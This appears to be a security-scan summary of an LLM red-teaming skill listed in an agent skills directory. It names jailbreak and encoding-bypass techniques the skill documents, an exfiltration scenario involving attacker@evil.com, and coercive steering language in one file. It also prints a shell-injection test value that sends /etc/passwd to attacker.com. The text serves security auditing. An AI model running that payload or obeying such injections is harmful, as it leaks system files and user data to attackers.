The Agent Skills Directory

[PROMPT_INJECTION]: The skill documents extensive prompt injection techniques, including 'DAN' (Do Anything Now) jailbreaks, Base64 encoding bypasses, homoglyph substitution, and zero-width character injection. These are explicitly labeled as test levels (Level 1-5) for auditing purposes in SKILL.md and references/prompt-injection-methodology.md.
[COMMAND_EXECUTION]: The instructions and workflow references suggest tools like garak, PyRIT, and promptfoo for automated scanning. It also mentions testing for shell injection in tool parameters (hello; curl attacker.com/$(cat /etc/passwd)) as a security audit step rather than a malicious payload of the skill itself.
[PROMPT_INJECTION]: The references/agent-obedience-engineering.md file uses strong directive language ('MUST', 'NOW', 'NO EXCUSE') and 'Excuse Rebuttal Tables' to ensure the AI agent follows security audit workflows without skipping steps. While these are 'injection-like' steering techniques, they are intended to maintain the integrity of the audit process.
[EXTERNAL_DOWNLOADS]: The skill mentions external security tools from known organizations (Microsoft's PyRIT, UK AISI's AgentThreatBench). These are reputable sources within the security research community.
[DATA_EXFILTRATION]: The skill describes scenarios where agents might be manipulated into exfiltrating data (e.g., forwarding messages to attacker@evil.com) as a threat vector to be tested, not as a function the skill performs.

llm-security